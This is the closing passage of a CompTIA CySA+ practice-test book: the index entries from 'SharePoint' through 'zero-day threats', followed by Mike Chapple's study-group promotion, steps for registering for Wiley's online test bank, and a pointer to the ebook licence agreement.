SharePoint, 41, 361

sharing data, 285, 458

shim cache, 318, 470

shutdown scripts, 256, 446

Signal protocol, 217, 428

signature analysis, 95, 378

signature-based detections, 197–198, 290, 421, 461

signatures, 325, 473

Simple Network Management Protocol (SNMP), 31, 38, 214, 313, 316, 357–358, 360, 427, 469, 470

simultaneous hosts per scan, 43–44, 362

single crack mode, 428

single loss expectancy (SLE), 283–284, 341, 453, 458, 477

single quotation mark ('), 116, 385

single sign-on (SSO) systems, 122, 138, 388, 396

sinkholes, DNS, 165, 173, 197, 408, 411, 420

slack space, 232, 256, 436, 446

SMB, 72, 371

SMS messages, 119, 386

SMTP, 159, 406

snapshotting, 217, 428

sniffing tool, 24, 355

SNMP command, 302, 465

SOAP messages, 391

Social Security Number (SSN), 278, 455

software as a service (SaaS), 14, 145, 299, 352, 400, 464

software development life cycle (SDLC), 115, 141, 384, 398

software-defined networking (SDN), 119, 137, 145–146, 386, 396, 400

software-defined wide area network (SDWAN), 421

source data, modifying, 252, 444

spear phishing, 190–191, 417–418

SPF records, 31, 358, 405–406

Spiral model, 121, 141, 149, 387, 398, 402

spoofing, 357, 410, 428

SQL injection attack, 15, 25–26, 47, 50, 52, 53, 69–70, 86, 116, 124, 125, 140, 180–181, 352, 356, 363, 364, 369, 375, 385, 389, 397, 414

SQL queries, 147, 223, 401, 431

SQL Server, 45, 362

SSH access, 159, 176–177, 406, 412

SSH communication, 262, 448

SSH key, 148–149, 402

SSH logins, 253, 444

SSH port forwarding, 33, 358

SSH traffic, 420

SSH tunneling, 33, 358

SSID, 210, 425

standards, in policy documents, 286, 459

Start of Authority (SOA), 31, 358

stat command, 474

static analysis, 109, 115, 180, 197, 203, 382, 385, 413, 420, 422, 441

static code analysis, 384

stolen cookie, 304, 465

strcpy() function, 16, 353

stress testing, 110, 145, 318–319, 382, 383, 400, 470–471

strings command, 173, 328, 411, 474

Structured Threat Information Expression (STIX), 3, 161, 190, 192, 193, 195, 196, 348, 406–407, 417, 418, 419–420

su command, 65, 368

subnet, 406

succession planning, as a personnel control, 279, 286, 456, 459

sudo command, 65, 189, 205, 368, 417, 424

Super Timeline, 235, 437

supervisory control and data acquisition (SCADA) systems, 13, 42, 79, 351, 361, 372

symbols, 385

symmetric encryption, 133, 394

SYN floods, 157, 405

SYN packets, 336, 476

SYN scan, 299, 464

SYN-based port scan, 296, 462

Sysinternals suite for Windows, 209, 425

system binary kits, 238, 438

System on a Chip (SoC), 13, 351, 464

system restore, 245, 441

T

tabletop exercises, 262, 269, 448, 451

TACACS+, 296, 462–463

tag-out, 19, 354

tail command, 214, 427

Tamper Data, 343, 479

tamper-proof seals, 251–252, 443

tarpits, 107, 381

TCP ports, 19, 26, 27, 28, 30, 319, 354, 356, 357, 418, 471

TCP SYN scan, 8, 311, 350, 468

TCP transport protocol, 406

TCP/80, 144, 399

tcpdump, 215, 427

team members, changes in, 269, 451

telnet, 8–9, 20, 350, 354, 360

Tenable's Nessus vulnerability scanner, 88–89, 343, 376, 479

testing

about, 162, 407

code, 38, 360

environment for, 99, 379

full interruption tests, 448

fuzz testing (fuzzing), 111, 114, 116, 145, 318–319, 383, 384, 385, 396, 400, 470–471

mutation, 111, 318–319, 383, 470–471

penetration, 38, 276–277, 309, 360, 455, 457, 467

regression, 111, 145, 382, 400

stress, 110, 145, 318–319, 382, 383, 400, 470–471

unit, 149, 150, 402

user acceptance testing (UAT), 110, 115, 145, 149, 382, 384, 400, 402

for vulnerability scanners, 23–24, 355

testing and integration phase, of software development life cycle, 150, 402

third-party AV tool, 126, 390

threat actors, 161, 222, 348, 407, 430

threat intelligence, sharing, 8, 349

threat intelligence feeds, 153, 267, 403, 450

threat profiles, 191, 418

Tier 3 risk management program, 335, 476

time to live (TTL), 20, 354

time zone settings, 421

time-of-check/time-of-use (TOC/TOU) attack, 16, 352

token-based multifactor authentication, 306, 466

tokenization, 267, 450

top command, 168, 170, 409, 410

top tool, 403

traceroute command, 465, 471

trade secrets, 237, 438

trademarks, 237, 438

Transport Layer Security (TLS), 18, 86, 124, 127, 140, 167, 199, 273, 341, 353, 375, 389, 391, 397–398, 409, 421, 453, 466, 477–478

trend analysis, 186, 416

Tripwire, 156, 186–187, 204, 404, 416, 423

trouble ticket system, 373

Trusted Automated Exchange of Indicator Information (TAXII), 3, 161, 192, 193, 196, 204, 348, 406–407, 418, 420, 423

trusted execution, 140, 397

trusted execution environments (TEEs), 129, 130, 392

trusted foundries, 107, 142, 321, 381, 398, 471

Trusted Foundry Program, 111, 147, 382, 401

Trusted Platform Module (TPM), 107, 115, 134, 145, 321, 381, 384, 394, 399–400, 471

two-factor authentication, 113, 383

two-person control, 281, 457

U

Ubuntu, 414

UDP scan, 28, 29, 357

uncredentialed scanning, 44, 301, 362, 464

Unicode encoding, 125, 389

Unified Extensible Firmware Interface (UEFI), 129, 135, 392, 394

unit testing, 149, 150, 402

Unix, 174–175, 412

updating/upgrading

firewalls, 79, 372

operating systems, 62, 367

servers, 371

vulnerability scanners, 373

URL analysis, 196–197, 204–205, 420, 423

US-CERT, 248, 442

user acceptance testing (UAT), 110, 115, 145, 149, 382, 384, 400, 402

user accounts, 85, 374, 441

user and event/entity behavior analytics (UEBA), 156, 182, 192, 203, 405, 414, 418–419, 422

V

validating

NIST guidelines on, 443, 521

output, 146–147, 401

version control, 479

virtual desktop infrastructure (VDI), 121, 387

virtual desktops, 138, 396

virtual machines (VMs), 223, 422, 431

virtual private cloud (VPC), 120, 135, 384, 387, 395

virtual private networks (VPNs), 113–114, 129, 148, 167, 187, 341, 383, 384, 392, 401, 409, 417, 477–478

virtualization, 43, 120–121, 362, 387, 413

virtualization platforms, 40, 54, 83, 101, 361, 365, 374, 380

VirusTotal, 111, 153, 254, 382, 403, 445

VLAN hopping, 118, 385–386

VM escape attack, 36, 359

VMware, 40, 118, 361, 385–386

volatility, order of, 235, 248, 305, 334, 437, 442, 466, 475

volume encryption, 13, 352

vulnerability feeds, 348

vulnerability scanners

about, 369

deploying, 44, 362

updating, 373

W

Waterfall model, 121, 141, 387, 398

watermarking, 276, 454

Wayback Machine, 10, 350

web application firewall (WAF), 124, 389

web browsing, 19, 87, 164, 354, 375, 399, 408

web content filtering, 67, 369

web proxy, 125, 389

web server logs, 64–65, 368

web servers, 38, 320, 360, 399, 471

wget, 8–9, 350

whitelisting, 158, 161, 180, 405, 407, 414

Whois, 22, 24, 354, 355

Wi-Fi Protected Setup (WPS), 16, 353

wildcard certificate, 131, 142, 392, 398

Windows Event Viewer, 140, 397

Windows file servers, 20, 354

Windows Performance Monitor, 153, 403

Windows Update, 81, 373–374

wireless analysis, 9, 350

wireless evil twin attacks, 250, 443

Wireshark, 24, 181, 200, 215, 298–299, 355, 414, 421, 427, 463

wmic, 153–154, 403

workloads, 121, 387

WPA2 Enterprise, 291, 461

write blockers, 298, 463

X

X.509 certificates, 63, 368

XML, 3, 348

XML injection attack, 15, 352

XSS vulnerability, 12, 351

Z

Zed Attack Proxy (ZAP), 343, 479

Zenmap, 25, 355

zero wipe, 13, 352, 383

zero-day threats and vulnerabilities, 290, 433, 461

zone transfers, 24, 355

Mike Chapple offers FREE ONLINE STUDY GROUPS that complement this book and will help prepare you for your security certification.

Visit CertMike.com to learn more!

Online Test Bank

Register to gain one year of FREE access after activation to the online interactive test bank to help you study for your CompTIA CySA+ certification exam—included with your purchase of this book! All of the domain-by-domain questions and the practice exams in this book are included in the online test bank so you can practice in a timed and graded setting.

Register and Access the Online Test Bank

To register your book and get access to the online test bank, follow these steps:

Go to bit.ly/SybexTest (this address is case sensitive)!

Select your book from the list.

Complete the required registration information, including answering the security verification to prove book ownership. You will be emailed a pin code.

Follow the directions in the email or go to www.wiley.com/go/sybextestprep.

Find your book on that page and click the “Register or Login” link with it. Then enter the pin code you received and click the “Activate PIN” button.

On the Create an Account or Login page, enter your username and password, and click Login or, if you don't have an account already, create a new account.

At this point, you should be in the test bank site with your new test bank listed at the top of the page. If you do not see it there, please refresh the page or log out and log back in.

WILEY END USER LICENSE AGREEMENT

Go to www.wiley.com/go/eula to access Wiley’s ebook EULA.